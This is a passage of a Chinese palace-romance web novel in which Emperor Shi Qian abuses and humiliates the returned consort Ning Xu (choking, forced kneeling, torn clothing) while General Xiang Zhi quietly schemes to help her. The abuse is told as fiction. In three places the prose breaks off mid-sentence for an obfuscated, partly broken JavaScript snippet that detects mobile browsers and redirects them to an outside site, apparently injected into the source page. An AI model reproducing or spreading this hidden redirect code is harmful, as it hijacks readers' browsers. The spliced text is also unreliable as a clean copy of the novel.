邓筠挣开她手，尴尬地别过头去，叫她且先住下，有不适应的，或者需要什么，就让宫女上报。 送走了邓筠，宁絮踏入翠微阁的花园，第一眼就看到鸽舍。她走后它们可能没多少机会出来放风，每一只都比以往肥了一圈不止。 点点率先认出她，开始扑棱翅膀。 翠柳和晚云已经收到消息，她们要有一位新主子了。对她们这种小宫女而言，服侍谁其实都一样，只要别摊上太难处的主子，日子就能过。 她们准备好行礼，以及一肚子的恭维话，但与宁絮照面那一刻，二人呆若木鸡，什么都忘了。翠柳惊得拿不住手绢，手绢飘落在地，还是宁絮捡起来交还给她。 “是我，你们没认错。”她无奈道，“你俩少给鸽子喂吃的，胖成猪仔了，我怀疑它们现在飞不起来了。明天开始一天只能喂一次，食量减半。” 翠柳和晚云反应过来，顾不得主仆礼节，抱着宁絮号啕大哭，哭得她有点心虚，感觉自己好像负心汉。 “我们以为你没了，陛下哪哪都找了，一根头发丝也没找回来……你去哪儿了！” 不管她们怎样控诉和质问，宁絮只回抱她们，好声好气地哄着，她们问的问题她一个也不答。 有些事情只能烂在肚子里。 还好，石虔再疯魔，基本的底线算是保留了，没有无差别拷问。她们两个，以及那群鸽子，看来没受什么罪。 她有些乏了，给晚云擦了眼泪鼻涕，叫她去烧热水，她要沐浴更衣。如若没别的事，她打算直接睡下，反正现在名分位分都还没有，邓筠见她又跟见鬼似的，她不必去长乐宫拜访。 然而，她刚从浴桶出来，头发还包着，翠柳就带了消息：石虔令她即刻去往太和殿。 她右眼皮子狠狠一颤。 今晚看来有硬仗要打。她赶忙穿戴整齐，叫翠柳帮着上妆。 外边太监催得紧，粗略打扮一下，她就出发了。 太和殿的格局与白日略有出入，屏风和纱帘撤走了，中间摆了一大张矮桌。桌上鸡鸭鱼肉，山珍海味，无所不包，旁边还摆着一坛陈年佳酿。 石虔与另外一人盘腿坐在矮桌跟前，想是聊到一些快乐的事情，止不住大笑。 宁絮走近了，恰逢那人抬头，叫宫女倒酒。 她脚步一顿，在石虔看过来之前先一步低头问安：“民女参见陛下，参见项将军。” 26. 劝和 石虔自顾自饮酒，对她视若无睹。 项志倒是热情：“哎呀，宁絮来了，陛下和我方才还念叨你呢——” 他伸手欲扶，好在还没完全喝高了，意识到这儿是石虔的地盘，兄弟关系再好也不能逾矩。手在半空中拐了道弯，去够边上的酒坛。 石虔将酒樽放在桌上：“傻大个，你管她叫什么？” 项志不明所以，脸上还挂着憨笑：“宁絮呀。” “说你傻你是真傻，认错人了吧，今日在大殿上，这位美人可是跟朕说了，她姓郑。”石虔冷笑。 项志看看石虔再看看宁絮，迷离的眼神逐渐聚拢，努力把浑厚的声音变得俏皮些，就像小时候对看客讨赏那样：“怎会？这不是宁絮还能是谁？陛下您可别蒙我，这世上难道还能找到跟她长得一模一样的人？” 石虔嗤笑，以手撑地，换了个坐姿，把脚腾出来。他脚尖点了点她的小腿：“项将军问话呢，还不快答？” 方才她问了安，但石虔未作表示，因此她一直低着头，木桩子一样定在那里。 她迟疑了两秒，尚来不及开口，一杯酒扑面而来，淋了她一头一脸。 “叫你说话！怎么，在翠微阁呆了几个时辰，就哑巴了？你那地方聚了什么妖魔，专毁人嗓子不成？” 酒液糊进她眼睛里，辣得她涕泗横流，看着甚是可怜。一旁的宫女都动了恻隐之心，想拿帕子，奈何石虔的眼神太过阴鸷，她帕子在手里捏了片刻，始终没敢递出去。 项志连忙打圆场：“哎呀，陛下您消消火！好不容易团聚一次，您现在身子又抱恙，这是什么天大的事情吗，值得动肝火？来，喝点茶，养生。” 石虔喘了两口气，慢慢平静下来，对他笑了笑：“对不住，本来今晚这顿饭是朕给你接风洗尘的，就咱俩喝点小酒叙叙旧，不失为一桩美事。可是有这么个不明身份的玩意在，说故人又不是故人，说生人又顶着这么张脸，心里着实硌得慌。” “我的错，我自罚一杯。”项志举起酒樽一饮而尽，“我想叫她来，没有别的意思，不过是在返京路上看到太多寻人画像，张张皆是宁絮，那时就猜你们是不是有了矛盾。” “就是这么巧，今早进京，补给车正好和送她的人堵在一起，我才见到她。我就想她人既然还好端端的，你们又早已修成正果，她不在宫里呆着，一定是因为发生了什么事。” 项志又一杯酒下肚，声音有点沙沙的。 “陛下，我虽没娶妻，可也知道夫妻之间难免闹脾气。过久了都这样。你们相伴十几年了，我看着你们走过来的，而且你们一直待我很好，我十多岁那会儿笨得很，你们护着我，给我支招——” 他吸吸鼻子，明明那么大块头，坐在那里也像一座小山包，此时却显得有些无助。 “我真的不愿看见你们闹成这样，我想你们和和美美一辈子。别忘了，当年是我在明月楼底下望风。” 石虔眼里勾兑了血丝，咬着后槽牙，半晌惨然一笑：“那恐怕让你失望了。但是说句公道话，让你失望的人不是朕。” 明眼人都看得出他动容了，项志赶紧顺走宫女的帕子，朝着宁絮怀里一丢，又好声好气地劝她：“陛下是在乎你的，宁絮，你服个软道个歉，陛下断不会重罚你。心里有什么疙瘩，之后也可以说给陛下听，陛下明理，定然替你解决。” 回应他的只有漫长的沉默。她拿着帕子，也不擦脸擦头发，仿佛只剩一具空壳。 项志急了：“你别任性呀，我记得你十几岁时就很稳重了，顾全大局，完全不会这样任性的。你是中了什么魔呀？” 他目光太强烈，欲把宁絮皮肤灼穿一个洞。宁絮上过战场，本能比常人更敏锐，抬眼扫向他。 石虔又给自己满上一杯，没往她这边看。项志趁机飞快地甩出一句唇语。 先服软，我想办法救你。 宁絮对他连着眨了两下左眼，不置可否。 但他看懂了，以他们训练时定下的暗号，她这是不打算按照他的想法去做。 他心焦又纳闷之际，石虔已经喝下不知第多少杯酒，眼底的猩红愈发浓烈，看得人心惊。 “贤弟也看到了，人家不认。要么是贤弟你记混了人，你与宁絮起码有五年，还是七年没见了，不奇怪。要么呢，就是人家揣着明白装糊涂，不肯领你的情。” 他这话说得极慢，咬字极重，大殿又僻静，是以门口的守卫也能听得一清二楚。 这是最后一级台阶，即便最不通人情世故之人，也知道就坡下驴，认下这个身份，再编一个无伤大雅的理由哄一哄陛下。 口才好的，还能转败为胜，让陛下以为自己有多大的苦衷，非但免责免罚，甚至可能讨得补偿或奖赏。 可她不为所动。倒也没有站如松柏宁死不屈，只如同一根已经枯死的枝条横亘在那儿，阳光照耀也好，风吹雨打也罢，不能指望枯枝败叶给出什么反应。 石虔耐心告罄，薅住她头发拖她过来，手像个项圈，大拇指与中指一合，正好圈住她纤细的脖子：“平日那股伶牙俐齿的劲儿去哪了？再不吭气，朕就废了你的嗓子，断了你的舌头，让你变成真哑巴，一辈子开不了口！” 他拇指指腹抵在她喉咙中间，正是声带所在的位置。 这手绝活还是他在卖艺的时候无意间发掘的，只要略施巧劲，在这个位置一捣，轻则能让人失声数日，重则此后都只能咿咿呀呀，再也说不出完整的句子。 他曾用这招教训过来挑事的无赖，还特意传授给宁絮，说光把人打倒了还不过瘾，要是能给人身上留下永久的伤疤，让他们看见你就想起这处伤，那才算是打服了，名声一传开，寻常小痞子决计不敢再造次。 他没想过有一天这招会用在宁絮身上。大拇指按在她脖子上的一瞬，他想起当年自己教她，就是抓着她的手让她戳自己的喉咙，告诉她怎么找准位置。 原来他们还有那么坦荡而不设防的一段时光。真是恍若隔世。 他倒不想真的把她弄哑了，手上动作虽大，力气是收敛了的。她说话唱歌都好听，没有她的劝慰，他没法从七皇子熬成天子。 可她这张嘴想伤人，也是轻而易举，用不着说什么断情绝义的话，随口撒个小谎，就能让他气得发狂。 她过来问安行礼，明明喊了项将军——区区民女，怎么可能知道将军长什么样？ 凭她的性子，果真要装民女装到底，断不会出现如此蹩脚的疏漏。 画像张贴得到处都是，她在外面想必也看到了，知道他想她想得多苦。但她不在乎，她就是犟，人都到了他面前，还硬要给自己冠个不相干的姓，好像承认自己是宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337682|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮，有多委屈她似的。 石虔恨道：“你要当哑巴也成，不过还有些事躲不过去。你是怎么假借淹死逃走的，在外头跟哪些人鬼混了，朕都会一一明查。别说哑巴，你就是又哑又瞎又聋，手还断了，也有的是办法从你身上挖到线索。” 他狠话刚撂完，手中的身体忽然一软，朝下滑去，像菜摊上捆菜的绳子断了，蔬菜散落一地，捡都不知从何捡起。 宁絮眼皮合上，纤长的睫毛亦不再颤动，如同死去的蛾子耷拉着翅膀。 项志连滚带爬挪到他身边，抛却了君臣之礼，抓着他手腕，语气如临大敌。 “陛下，陛下您卸卸力，她嘴巴都乌了，气儿没上来，晕过去了。您再掐着她，她真的会有性命之忧！” 石虔如梦初醒，松了手，让她身子挂在自己臂弯，神色有点茫然。 项志对他这两年的状况略有些了解，知道他受了很大的刺激，就算阴差阳错找回了宁絮本尊，之前留下的伤害也难以消弭。 他哄孩子般哄石虔：“陛下，你俩之间的心结慢慢解，来日方长，不着急。至于调查她这两年在外的经历，您不妨交给我，反正我这阵子除了去校场看他们训练，没有其他要紧的事情。我侦察干得怎么样，您也见到过，出不了纰漏。” 石虔将宁絮往上掂了掂，抱得稳些，对他有气无力地勾勾嘴：“你搞侦察的本事放在这儿，大材小用了。” “哎哟，你俩的事就是天大的事，怎么重视都是应该的。长兄如父，长嫂如母，虽然这么说把您和宁絮都说得老了，但您待我真和亲哥没差。再怎么吵闹，别拆伙好么，您代入我的处境想想，这跟天塌了有什么区别。” 他说着说着，眼眶里又蓄了一泡泪。石虔看不得他一个大老爷们哭唧唧，弄得他自己心里跟着难受，于是轻轻踹了他一脚。 “好了好了，婆妈什么，拆伙不拆伙还不劳你操心，我不放人，她就别想拆。” “你想去查便去，就当找个事打发时间。朕没别的要求，就一点，不管查出什么，如实相告。” 项志点头，见宁絮迟迟未醒，又道今天叙旧不如就叙到这里，先送宁絮回去，差御医把脉瞧瞧。 酒菜已冷，加上他们确实也没了兴致，石虔就让人收拾杯盘碗盏，而后抱起宁絮登上小轿。 去翠微阁的路上，冷风一吹，宁絮才有了点反应，开始不住地呛咳。 石虔板着脸，既不把她扶起来拍背，也不问候她，任由她咳得浑身发颤。 等她止住咳嗽，小轿已经到了距翠微阁不足十步的地方，石虔连拖带拽把她弄下来，看到翠柳和晚云过来迎接，正好推她一把，让她俩架着她。 “满头满脸都是酒，黏糊糊的，喊她洗干净了再睡。不然枕头睡脏了，可没得换洗，没名没分的人，尚寝局自然不会备多余的睡枕和被褥。” 翠柳和晚云很是惶惑，但陛下说什么，她们也只有听命的份，没资格过问更多。 她们一人搀着宁絮一条胳膊，要带她去里屋。石虔走到门口，想起一件事，对着她的背影下命令。 “明日一早去长乐宫，向皇后请安。” 少顷，他听到她用嘶哑的声音回应他：“民女遵旨。” 他嘴唇动了动，半晌冷笑一声：“你就接着犟吧，朕看你能犟到几时！” 27. 拿捏 进屋关了门，宁絮就挺起腰，拿开她俩的手臂，没事人一样坐在旁边椅子上。热水要现烧，她捋了捋半干不干的头发，叫她们先去忙，不必照管自己。 晚云和翠柳遵命，一个去命人添柴，一个去准备干净的衣服。 宁絮走了两年多，她的衣服悉数保留，石虔有时会过来，对着她穿过的衣服和睡过的床褥发呆。 每次他来，晚云和翠柳都心惊胆战，怕他做出一些难以预料的事，伤着他自己，皇后娘娘就要找她们问责。同时又觉得他可怜，看他那副痴呆相，九五之尊又如何，天下在手也未必能得到自己想要的东西。 她们眼界倒不至于太狭隘，以为堂堂天子失去了一个女人就寻死觅活。宁絮没了，固然值得惋惜，但能让他痛苦至此的，必定还有别的东西。 洗澡水备好了，晚云欲搀扶宁絮进浴桶。宁絮把她手掰开，笑呵呵的：“我好得很，不是碍于宫规，上房揭瓦也不在话下。” 她坐进浴桶，发出惬意的?叹。翠柳撩起她头发，用澡豆抹她脖子和肩膀，低头时看到她脖颈间的红痕。 那是个指印子。 翠柳手一顿，忍了忍，没忍住：“他……掐您了？” “嗯？”宁絮沉浸在自己的思绪中，冷不丁被她打断，懵了一下。 晚云舀热水给她冲洗泡沫，闻言叹息：“我现在能理解了，您真的在外漂着，不回来了，未尝不是一种福气。” 这话过于大胆，宁絮笑了笑，随即严肃道：“你我之间，说一说倒还罢了，见了其他人，万不可这样大逆不道，不然以我如今的地位，保不住你。” “不过嘛，”她小臂支在浴桶边缘，看着她俩，眼中有种狡黠之意，“你们要是能嫁人出宫，那就随便怎么说，没人管得住你们了。那一箱子的嫁妆足够你们有滋有味活到下辈子。” 她二人面面相觑，心中警铃大作。上次宁絮给她们置办了这箱子嫁妆，没过多久就跑了，这回又提到嫁妆，她们总觉得她是不是又在谋划什么事。 “单说嫁人，不是好事，弄不好就是把你们往火坑里推。但借着嫁人出了宫，紧接着丈夫又离世了，你们就可以风光快活一辈子。” 她声音很低，但掺杂着难以言喻的亢奋：“你们可能不知道当寡妇有多幸福，我在外面走一遭，是见识到了。” 晚云凑到她颈侧：“您可是有了什么计划？需要我们配合么？” 宁絮的眼睛在烛火的映衬下，亮得令人心惊。她摇摇头：“没有，我只是心情不错，顺带着有点怀念一些人。” 她此话不假，眼下她的确心情愉悦。 方才那顿接风宴上，她没有顺着项志的心意当场服软，就是想看看他接下来的表现。 毕竟他们那点情分，在年岁的稀释下也单薄了。鹤城重聚，他放过她是一回事，对她视而不见，这并不需要什么成本，还能卖个人情。 倘若要把她从宫里救出去，这是另一回事，其中的麻烦和风险多得数不清。 她要探一探他的底子，看他是不是真的想帮她。 项志虽然绰号傻大个，但真傻子做不了将军，她违逆了他的意思，就是不信任他，需要他进一步展现诚意。 他跟石虔说，想由自己来调查她的过往，此举等于当场交投名状，半点不犹豫。 由他来查，他就不可能把秋霞和梅诗诗挖出来上报。她们两位也不是吃素的，没丈夫没孩子，无所顾忌，见了石虔势必反咬一口，指认他早在鹤城就认出宁絮，却隐瞒不报。 到时他自己也要惹一身骚，石虔念在往日情谊和赫赫战功，未必对他落罚，但一定不可能再像以往那般信任他。 对将军而言，受到皇上的猜疑，离人头岌岌可危也不远了。 她静观其变，不出意外，项志查了一段时间，再去找石虔，说的应该都是些无伤大雅的小事。 她准备顶着郑氏的名头，再混一混日子。虽然石虔不信，并且她一提郑氏他就要生气，但她现在骑虎难下了。 石虔如今拧巴得不像话，她太快妥协，承认了本名，他八成又觉得她不倔强了，不像她的作风，是不是存了别的小心思。 还不如她多犟一阵子，让他多生几次气，磋磨磋磨他的脾性。他的情绪跟着她一举一动起伏，无形之中，他就被她牵着鼻子走了，她也好掌握更多的主动权。 头发洗好了，翠柳拿毛巾给她包起来。宁絮还坐在浴桶里出神，被晚云轻轻推了推肩膀。 “很晚了，水也不像刚刚那么热了，您最好快些出来，弄干了头发好睡觉。别忘了明早还要去见皇后娘娘。” 宁絮走出浴桶，擦了身，换上亵衣。她问晚云：“皇后娘娘近来是不是更温和了？” 晚云略一思索，神色复杂：“有太子了，她是要平和些，至少平时对我们这些宫女是这样。但陛下这两年不稳定，您也能看出来……在陛下那里碰了壁，难免要发泄给底下人。” 在后宫，皇后的底下人包括所有位分更低的嫔妃，宫女都不太够看。 晚云告诉她，这两年零星有嫔妃怀孕，但不知怎么搞的，最后都没能生下来。 宁絮闻言，乐不可支。都在说石虔思念成疾，想她想得疯疯癫癫，这不也没耽误他和其他嫔妃寻欢作乐嘛。 照她看，孩子生不下来，也不能全赖给邓皇后，未必都是邓皇后从中作梗。怎么就不能是石虔半疯半傻，影响了那玩意的品质呢？ 晚云并未把邓筠描绘得十恶不赦，她就放心了。邓筠再次见到她，本来就心怀恐惧，短时间内恐怕不太敢来找她的麻烦。 她真正要对付的人，只有石虔一个。 头挨了睡枕，已是二更，她就寝的时间不多了。奈何躺下后，脑袋里五彩斑斓，各种人和事大杂烩，弄得她睡意全无。 她一点一点梳理着脑中的毛线球，最后抓住了一个线头。 项志为什么要不惜代价地帮她，要承诺救她出宫？ 其他问题都有解，至少她能想得出看上去比较合理的解。唯独此事无解。 哪怕是在明月楼的那几年，他俩之间也隔着一个石虔，并无很深的交集。 她对他的印象，不外乎望风老手，卖艺的时候稍显笨拙，私底下会傻笑着管她叫嫂嫂。 兄嫂吵架，吵到要一拍两散的地步，做弟弟的不向着自己哥哥，反而暗中帮着关系更疏远的嫂嫂，这算怎么一回事？ 她不认为项志对自己有男女之情。他果真有这方面的心思，大可以在鹤城就下手，而当时他未有僭越之举，始终一副正人君子做派。 项志在她身上大费周章，必然有所图。可她身上到底还有什么值得他图的？ 宁絮辗转反侧，为这一个问题捱到天明。清晨用冷水洗了把脸，就开始上妆。 她脑中混沌，差点以为自己身在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347493|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归园客栈，还要画刀疤遮真容。翠柳进来，看到她脸上的黑杠杠，惊呼：“娘娘，不要这样糟蹋自己吧！” 宁絮抹了脸，眉毛挤成八字，哀叹道：“我眼睛肿了，今日就不上斜红了吧。” 如果不是害怕连累了晚云和翠柳，她都想素面朝天去拜皇后。反正邓筠不想看到她，巴不得赶紧打发她走。 这两年石虔倒是没有纳新的妃子，她赶到长乐宫，见到的全是熟面孔。 她们看到她，个个皆表情怪异，有点不知道怎样招呼她。 邓皇后端坐凤椅，脸上笑容牵强，在宁絮行了礼之后，她向大家介绍：“这位新来的妹妹姓郑，尚无大名，等陛下赐名定位分。大伙儿平日友善一些，不可薄待了郑妹妹。” 宁絮对着她僵硬的脸，就总在猜测，自己在她心里究竟是个什么玩意。是人还是鬼，亦或是一种无法言说的妖物？ 她昨天还牵了邓筠的手，但目前看来收效甚微，她的体温也没法证明她是个活人。 邓筠对她分外客气，早已命人为她备好了椅子。她没来得及坐下去，就听得门口传来一声不悦的呵斥：“谁准她朝这儿坐的？” 石虔下了早朝，径自奔向长乐宫。宁絮很明白，他是专程来拿捏自己的。 邓皇后连忙恭迎：“陛下，郑妹妹已经请过安了，臣妾心想，这也没有让她站着的必要，就给她安排了座椅。” “皇后有心了。”他赞许地对邓筠点头，转向宁絮，立刻又变了一副嘴脸，“皇后肯给你面子，你难道就真的照单全收？不知礼数，不要脸面的东西，滚下来！” 宁絮温驯地跪倒在地：“民女知错。” 石虔踢了踢她的腿：“别光冲着朕跪下，你给皇后跪了没有？在座的每一位妃子，位分都比你高，你给她们都跪了没有？” 不跪完这一圈人，她今日是走不掉了。 于是她二话不说，膝盖挪转，朝向邓筠。这就等于跪过了。 排在邓皇后后面一位的，是新封的贵妃，姓李，看着就不是个面善的。她坐得稍远，宁絮本想站起来，先走过去，不料石虔在她身后踹了她一脚，差点把她踹趴下。 “你就这样跪着过去，等会儿也别坐轿子了，就一路跪回翠微阁。” 宁絮手捏作拳头，指甲深陷掌心皮肤。 欺人太甚的狗东西。 若不是掌心传来的刺痛提醒她保持理智，她立马就挥拳砸到石虔脸上。以她的力道，不打掉石虔三颗牙不算完。 在归园客栈，跟秋霞她们呆久了，自由自在惯了。挺直腰板做了人，再做回卑躬屈膝的奴，真是难以适应。 她感觉手心濡湿，兴许是掐得太用力，出血了。 再难忍也要忍，逞一时之快，没有好下场。 她不知用光了几辈子的运气，才有这一次重生的机会。倘若冲动之下，又被关回冷宫，甚至被上刑，身子残废了，项志也寻不到机会救她，那她就白活了。 宁絮膝盖交替着磕上地面，发出微弱的哒哒声。长乐宫铺了地毯，饶是如此，地板还是硬，跪着挪来挪去，髌骨传来细密的疼痛，宛如被若干根钢针同时扎进去。 终于挪到李贵妃脚下，她深吸一口气，问了好，正要往旁边一位嫔妃腿边挪，突然被人从后面抓住肩膊，生生拔了起来。 石虔双目赤红，拎着她跟拎小鸡崽似的：“你当真就贱到如此地步？！” 28. 吃醋 直到被他掼在床铺上，宁絮也没想明白，他突然发这通火，意义何在。 她心里有气是真，但他的命令她是半点没折价，全然照做了。 难道还要嫌弃她没有买一赠一，叫她下跪她还得主动磕头不成？ 石虔骂完，就提着她出了长乐宫，带她回了翠微阁。抱她进门时，脸色比点点拉的绿屎还臭，晚云和翠柳束手无策，只能忧虑地看着她。 她身子绷得直直的，对他接下来的举动有种本能的防备。 石虔见状，愈加恼怒，不由分说撕了她的外衫。上好的绸缎裂成几片，七零八落散在床脚。 他正欲对她里衣下手，宁絮忽而抓住他手腕。她没用几分力气，手指轻轻搭在他腕间，却让他整个人顿住了。 “陛下，恕民女直言，您前不久才说过，宫里对我这样的人，不会额外备有寝具。那么依此可推，也不会备有更多的换洗服饰，总共就这么几套。” “这几件衣裳被毁了事小，民女无合适装束，有失礼仪事大。还请陛下三思。” 石虔怒极反笑。 拿宫规和大道理来压他，他都成了热锅上的蚂蚁，她还不紧不慢。完全就是他最熟悉的那套做派。 她装都懒得装成另一个人，但偏要在他面前自称民女，抱着郑氏这个名头不撒手。 存心要气死他。 他甩开她手：“你这会儿跟朕说礼仪？两年前你擅自离宫的时候，怎么就不知道背一背宫规和礼仪？天底下最大逆不道的事情都做了，摆这副假惺惺的样子给谁看？” “别以为朕不知道你是什么脾性，你多傲气多清高啊，自己随便怎么跪都成，人家逼着你跪，你就得梗着脖子犯倔了。今天眼都不眨，上赶着跪，怎么，是怕惹毛了朕，护不住你那心肝？” “朕这就验一验，你在外头找的这个姓郑的男人，究竟有几斤几两，能迷你心窍迷到如此地步！” 宁絮一时间倍感荒谬。 到头来，他竟然以为她在外面有了情郎？ 拜明月楼的经历所赐，她见过的男人多如繁星。他们也许在高官面前谦逊有礼，在同侪面前谈吐优雅，在妻子面前温和体贴，在孩子面前顶天立地。 但是在她面前，只剩下卑劣。 花了钱的，自然是随意作弄。有时他们使的手段直令她咋舌，但凡有些许悲悯之心——不说对人了，哪怕是对一个活物的悲悯，有些事情就是做不出来的。 她见过猫儿玩雀鸟，并非为了果腹，将雀鸟按在地上抓挠拔毛，不过是找乐子。 猫和雀鸟长得大相径庭，非我族类，玩起来心里没有负担，情有可原。 可她跟他们一样，都是人。这些男人走在街上，回到家里，都能见到像她一样的人。 明明同根同源，他们糟践起她和她的姐妹，却毫不手软。 有的人变脸像翻书。才对她动完手，倾倒完污言秽语，餍足地撑着脑袋，看到她梳妆镜边上的兰花，忽而温情脉脉地问她这是从哪买的，他给妻子也带一束回去。 宁絮不记得自己是怎样回答的了，只是这个问题，以及男人问问题时的情态，一直烙印在她脑海中。他的模样早就淡去了，这个问题还时不时的窜出来。 石虔的担忧与愤恨，纯属无稽之谈。她爱这些男人，还不如去爱一尊石像。 这样或有一竿子打死所有男人之嫌。但她见得太多了，要是有人说某个男人不是这样的，她反而难以置信。 她也有过天真的时候，比如相信石虔是唯一一个例外。 现在回想起来，是她识人经验浅薄了。石虔与那个问她兰花来历的男人并无分别，有区别的是她。她于他而言，既是明月楼花魁宁三娘，又是被他赠予兰花的妻子。 啊呸。她不识好歹了，还给自己抬了位分。真要论起来，她顶多算个小妾，还是最不值钱的那种。 她的亵裤眼看也要惨遭毒手。虽然这次入宫，她就没指望能全身而退，但她当然想把某些不好的事情尽可能地往后延宕。 石虔在气头上也在兴头上，听得她细细弱弱地叫了一声：“疼，好疼……” 他还纳闷，自己什么事都没干呢，瞥见她的腿，想起她方才在长乐宫跪了那么久。 他从前是很不喜欢宁絮对自己下跪行礼的，依他对她的了解，她这么做了，就是心里对他有气。 时过境迁，他竟不自觉地用这种方式来惩罚她。她是疼了，吃了教训，可他心里未见得多痛快。 也不知道是教训她还是教训他自己。 他把她两条腿打直，语气不冷不热：“不逞强了？跪得那么利索，朕以为你乐在其中呢。” 她没动静。石虔抬眼一看，发现她眼泪扑簌簌往下落，被子已经泅湿一大块。 这下轮到他张口结舌了：“不是，哎，你……现在这么受不得委屈呢？” 宁絮是不轻易哭的，轻灵纤巧的身段之下埋藏着铮铮铁骨，扛得住任何事，总有办法带他绝处逢生。 他在记忆里回溯，上一次她掉眼泪，是什么时候的事情了？ 不在明月楼，也不在王府。 他记起来了。 是在从江都回京城的马车上。 那年他特意陪她一道出宫，找到她安葬父兄的地方，将他们的遗骨带回京城，葬于皇陵。 他当时在他们的坟冢前磕过头的，发誓一辈子待宁絮好。 弄成如今这般局面，是他食言了。 他将宁絮的两个裤腿卷上去，看见她膝盖两块乌青。要是放任不管，第二天就得肿得像馒头那么高。 “你说你跪这么实诚干什么……”他小声咕哝一句，随后唤晚云来，让她准备热帕子。 膝盖脆弱，怕她落了病根儿，他又喊晚云再叫两个人跑腿，找御医来。 “等下抓了草药，你每日按时敷。” 宁絮理了理衣裳，抓过被子裹着自己，很怕冷似的：“谢陛下。” 石虔的怒火荡然无存，言语间只剩下疲惫：“朕不想冲你发脾气，更不想伤着你。咱们各退一步，你也松快些，这样大家都好过。” 御医来得比他想像中要快，他还没等到宁絮的回答，晚云就带人进来了。 诊断完，写了方子，他叮嘱石虔：“陛下，娘娘的腿伤并无大碍，但也要当心，数月之内最好不要再磕碰硬物了。年青时候败得太厉害，岁数大了要遭罪呢。” 能在宫里当御医的，个个都是人精。石虔表面上好像多么看不惯这女人，非要罚她一道，但落在他们这些旁观的眼里，陛下到底有没有上心，一目了然。 他自然要顺着陛下的心意说话，陛下就等着这一级台阶。他铺好了这个台阶，陛下便能大发慈悲，赦免她的罪过，她若是识相，当场感激涕零，位分荣宠必定一样不少。 届时看在他说了好话帮她一把的份上，她也该投桃报李，行些方便。 后宫的人情往来，盖莫如是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352357|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 御医没料错，石虔果然缓和了脸色，嘱咐她近日无需再跪拜任何人，倘若有人给她脸色看了，尽可以禀报他，他自会处置。 宁絮蜷缩在床角，听罢眼珠子都不带翻滚一下，语气依然又僵又木：“民女谢恩。” 石虔神色微变，御医在心里暗骂她不长眼，但又不好干涉，只得束手在边上待命。 好在石虔没再计较，叹了一口气，叫晚云盯着她敷腿，而后起身离开。 御医跟在他身后，出了翠微阁，他突然问：“你方子上的药材，可都是顶格的？” “禀陛下，自然都是最好的药材，这样娘娘才好得快。” 宫里的人多为势利眼，跟红顶白惯了。哪个嫔妃受宠，底下人自会为她开道，巴不得把所有好东西都献给她。 哪个嫔妃失宠，待遇也会一落千丈，哪怕是本来该给她的东西，每经一道手就要被克扣一层，最后只剩碎屑，根本不够用，还有苦说不出。 石虔当然知道这些人的作风，但只要别闹得太过分，他通常睁一只眼闭一只眼。管得太严，只怕有时候要起反作用。 不牵涉到宁絮，一切可商量。 西六宫的偏殿已经被他钉死了，荒草丛生，阴气弥漫。宫女太监抄近道都不爱往那里去，瘆得慌。 宁絮是病死的，或者说是冻死的。 宫里什么也不缺，是全天下最丰饶的地方。她在这里冻死，石虔再怎样对宫人大发雷霆，也是徒劳。 他难辞其咎。 漫漫人生路他已经走过一遍，重活一次，他自认对很多事情都宽容了许多。 但也有了新的底线，容不得其他人越线，连他自己越线了，也要自罚。 “你隔两日再来看看她的伤，她现在正拧巴，有不舒服，恐怕不会主动提及，还需要你多加留心。” 御医接下他的嘱托，连连点头称是，心道这女人好福气，给陛下甩了脸子，陛下还上赶着关照她。 看来她的样貌气质，是真真打在陛下的心坎上了。 宁絮被免了礼节，但又没法去别的地儿逛逛，项志眼下也没有音讯，她只好找点事情打发时光。 她花了一天，给鸽子们制定食谱和训练计划。事到如今不指望它们能送信，先把多余的肥肉减下来再说，不然能活多久都说不定。 训鸽子的时候心无旁骛，颇为愉快。唯一让她烦躁的，就是那个御医，隔三差五上门问她情况，殷勤得令她受不了。 这半月以来，石虔本人倒是没露面，也算还她一个清静。 可惜好景不长，痊愈那日，御医前脚刚宣布她可以停止热敷了，后脚太和殿就来了太监，说陛下有请。 宁絮在大殿上见了他，想屈膝，看他有皱眉的倾向，于是又改为鞠躬。 这一举动把他逗笑了：“朕还没死呢。” 她诚惶诚恐：“民女知错。” 石虔按了按太阳穴，无奈道：“翻来覆去就这几句话。” 她不答话了，他只好自己接下去：“你和朕来。” 他领着她去了御书房。 石虔即位之后，御书房成了禁地，宁絮印象中，他从来不带嫔妃进来。此地放有兵书，保卫极为严格。 她甫一踏过门槛，就知道他已经堕落了。御书房不再是他读书练字，修生养性，或者思索策略的地方。 她看到墙壁上赫然挂着一幅巨大的肖像，画像上的不是别人，正是她自己。 29. 坦白 除了墙上挂的，案上也堆叠了若干张纸，上面全是她的脸。 石虔的画技同真正的画师相比，还是相形见绌，很多细节处理得颇粗糙。 